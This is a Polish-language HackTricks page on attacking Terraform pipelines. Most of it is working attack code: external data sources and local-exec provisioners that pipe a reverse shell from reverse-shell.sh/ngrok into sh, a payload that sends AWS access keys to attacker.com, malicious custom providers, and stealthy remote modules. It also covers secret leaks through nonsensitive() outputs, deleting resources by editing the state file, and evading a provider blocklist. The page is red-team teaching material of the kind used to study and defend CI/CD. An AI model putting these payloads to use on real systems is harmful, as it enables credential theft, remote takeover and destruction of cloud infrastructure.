Terraform Security

Zacznij od zera i stań się ekspertem od hakowania AWS dzięki htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Podstawowe informacje

Z dokumentacji:

HashiCorp Terraform to narzędzie infrastruktury jako kodu, które pozwala zdefiniować zarówno zasoby chmurowe, jak i zasoby lokalne w czytelnych dla człowieka plikach konfiguracyjnych, które można wersjonować, ponownie używać i udostępniać. Następnie możesz użyć spójnego procesu roboczego do wdrażania i zarządzania całym swoim środowiskiem infrastruktury. Terraform może zarządzać komponentami niskiego poziomu, takimi jak obliczenia, przechowywanie i zasoby sieciowe, a także komponentami wysokiego poziomu, takimi jak wpisy DNS i funkcje SaaS.

Jak działa Terraform?

Terraform tworzy i zarządza zasobami na platformach chmurowych i innych usługach za pomocą interfejsów programowania aplikacji (API). Dostawcy umożliwiają Terraformowi współpracę z praktycznie dowolną platformą lub usługą z dostępnym interfejsem API.

HashiCorp i społeczność Terraformu napisali już ponad 1700 dostawców, aby zarządzać tysiącami różnych typów zasobów i usług, a ta liczba ciągle rośnie. Wszystkie publicznie dostępne dostawcy można znaleźć w Rejestrze Terraform, w tym Amazon Web Services (AWS), Azure, Google Cloud Platform (GCP), Kubernetes, Helm, GitHub, Splunk, DataDog i wiele innych.

Podstawowy proces roboczy Terraformu składa się z trzech etapów:

  • Napisz: Definiujesz zasoby, które mogą być rozproszone na wielu dostawcach chmurowych i usługach. Na przykład możesz utworzyć konfigurację do wdrożenia aplikacji na maszynach wirtualnych w sieci Virtual Private Cloud (VPC) z grupami zabezpieczeń i równoważnikiem obciążenia.

  • Plan: Terraform tworzy plan wykonania opisujący infrastrukturę, którą utworzy, zaktualizuje lub zniszczy na podstawie istniejącej infrastruktury i twojej konfiguracji.

  • Zastosuj: Po zatwierdzeniu Terraform wykonuje proponowane operacje w odpowiedniej kolejności, szanując zależności zasobów. Na przykład, jeśli zaktualizujesz właściwości VPC i zmienisz liczbę maszyn wirtualnych w tym VPC, Terraform najpierw odtworzy VPC, a następnie skaluje maszyny wirtualne.

Laboratorium Terraform

Po prostu zainstaluj Terraform na swoim komputerze.

Tutaj masz przewodnik i tutaj masz najlepszy sposób na pobranie Terraforma.

RCE w Terraform

Terraform nie ma platformy eksponującej stronę internetową ani usługę sieciową, którą można by wyliczyć, dlatego jedynym sposobem skompromitowania Terraforma jest możliwość dodania/modyfikacji plików konfiguracyjnych Terraforma.

Jednak Terraform to bardzo wrażliwy komponent do skompromitowania, ponieważ będzie miał uprzywilejowany dostęp do różnych lokalizacji, aby móc poprawnie działać.

Głównym sposobem dla atakującego na skompromitowanie systemu, na którym działa Terraform, jest skompromitowanie repozytorium przechowującego konfiguracje Terraforma, ponieważ w pewnym momencie zostaną one zinterpretowane.

Faktycznie istnieją rozwiązania, które automatycznie wykonują plan/apply Terraforma po utworzeniu PR, takie jak Atlantis:

pageAtlantis Security

Jeśli uda ci się skompromitować plik Terraforma, istnieją różne sposoby wykonania RCE, gdy ktoś wykonuje terraform plan lub terraform apply.

Plan Terraforma

Plan Terraforma to najczęściej używane polecenie w Terraformie, a programiści/rozwiązania korzystające z Terraforma często je wywołują, dlatego najłatwiejszym sposobem na uzyskanie RCE jest upewnienie się, że zatrujesz plik konfiguracyjny Terraforma, który będzie wykonywał dowolne polecenia w terraform plan.

Użycie dostawcy zewnętrznego

Terraform oferuje dostawcę external, który zapewnia sposób interfejsu między Terraformem a programami zewnętrznymi. Możesz użyć źródła danych external, aby uruchamiać dowolny kod podczas planu.

Wstrzyknięcie czegoś takiego jak poniżej do pliku konfiguracyjnego Terraforma spowoduje wykonanie powłoki rev podczas wykonywania terraform plan:

data "external" "example" {
program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
}

Użycie niestandardowego dostawcy

Atakujący mógłby przesłać niestandardowego dostawcę do Rejestru Terraforma a następnie dodać go do kodu Terraforma w gałęzi funkcji (przykład stąd):

terraform {
required_providers {
evil = {
source  = "evil/evil"
version = "1.0"
}
}
}

provider "evil" {}

Dostawca jest pobierany w init i uruchomi złośliwy kod podczas wykonywania plan

Przykład można znaleźć pod adresem https://github.com/rung/terraform-provider-cmdexec

Korzystanie z zewnętrznego odwołania

Obie wymienione opcje są przydatne, ale niezbyt skryte (druga jest bardziej skryta, ale bardziej skomplikowana niż pierwsza). Możesz przeprowadzić ten atak nawet w bardziej skryty sposób, postępując zgodnie z tymi sugestiami:

  • Zamiast dodawać rev shell bezpośrednio do pliku terraform, możesz załadować zewnętrzny zasób, który zawiera rev shell:

module "not_rev_shell" {
source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules"
}

Możesz znaleźć kod rev shell w https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules

  • W zewnętrznym zasobie użyj funkcji ref aby ukryć kod rev shell Terraforma w gałęzi wewnątrz repozytorium, coś w stylu: git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b

Zastosowanie Terraforma

Zastosowanie Terraforma zostanie wykonane, aby zastosować wszystkie zmiany, można również nadużyć go do uzyskania RCE poprzez wstrzyknięcie złośliwego pliku Terraforma za pomocą local-exec. Wystarczy upewnić się, że pewny ładunek, taki jak poniższe, znajduje się w pliku main.tf:

// Payload 1 to just steal a secret
resource "null_resource" "secret_stealer" {
provisioner "local-exec" {
command = "curl https://attacker.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY"
}
}

// Payload 2 to get a rev shell
resource "null_resource" "rev_shell" {
provisioner "local-exec" {
command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
}
}

Podążaj za sugestiami z poprzedniej techniki, aby przeprowadzić ten atak w bardziej skrytym sposób, korzystając z zewnętrznych odwołań.

Wycieki Sekretów

Możesz mieć wartości sekretne używane przez terraform wyciekające uruchamiając terraform apply, dodając coś w rodzaju do pliku terraform:

output "dotoken" {
value = nonsensitive(var.do_token)
}

Nadużywanie plików stanu Terraforma

W przypadku posiadania uprawnień do zapisu plików stanu Terraforma, ale braku możliwości zmiany kodu Terraforma, to badanie przedstawia kilka interesujących opcji wykorzystania pliku:

Usuwanie zasobów

Istnieją 2 sposoby usuwania zasobów:

  1. Wstawienie zasobu o losowej nazwie do pliku stanu wskazującego na rzeczywisty zasób do usunięcia

Ponieważ Terraform zauważy, że zasób nie powinien istnieć, usunie go (zgodnie z wskazanym rzeczywistym identyfikatorem zasobu). Przykład z poprzedniej strony:

{
"mode": "managed",
"type": "aws_instance",
"name": "example",
"provider": "provider[\"registry.terraform.io/hashicorp/aws\"]",
"instances": [
{
"attributes": {
"id": "i-1234567890abcdefg"
}
}
]
},
  1. Zmodyfikuj zasób do usunięcia w taki sposób, że nie będzie możliwe jego zaktualizowanie (zostanie usunięty i odtworzony)

Dla instancji EC2 wystarczy zmienić typ instancji, aby terraform usunął ją i odtworzył.

RCE

Możliwe jest również utworzenie niestandardowego dostawcy i po prostu zastąpienie jednego z dostawców w pliku stanu terraform szkodliwym lub dodanie pustego zasobu z szkodliwym dostawcą. Przykład z oryginalnych badań:

"resources": [
{
"mode": "managed",
"type": "scaffolding_example",
"name": "example",
"provider": "provider[\"registry.terraform.io/dagrz/terrarizer\"]",
"instances": [

]
},

Zastąp zablokowanego dostawcę

W przypadku napotkania sytuacji, w której hashicorp/external został umieszczony na czarnej liście, możesz ponownie zaimplementować dostawcę external, wykonując następujące kroki. Uwaga: Używamy forka dostawcy external opublikowanego przez https://registry.terraform.io/providers/nazarewk/external/latest. Możesz również opublikować własny fork lub ponowną implementację.

terraform {
required_providers {
external = {
source  = "nazarewk/external"
version = "3.0.0"
}
}
}

W takim przypadku możesz użyć external jak zwykle.

data "external" "example" {
program = ["sh", "-c", "whoami"]
}

Narzędzia audytowe

  • tfsec: tfsec wykorzystuje statyczną analizę kodu terraforma do wykrywania potencjalnych błędów konfiguracyjnych.

  • terascan: Terrascan to statyczny analizator kodu dla infrastruktury jako kodu.

Odnośniki

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Last updated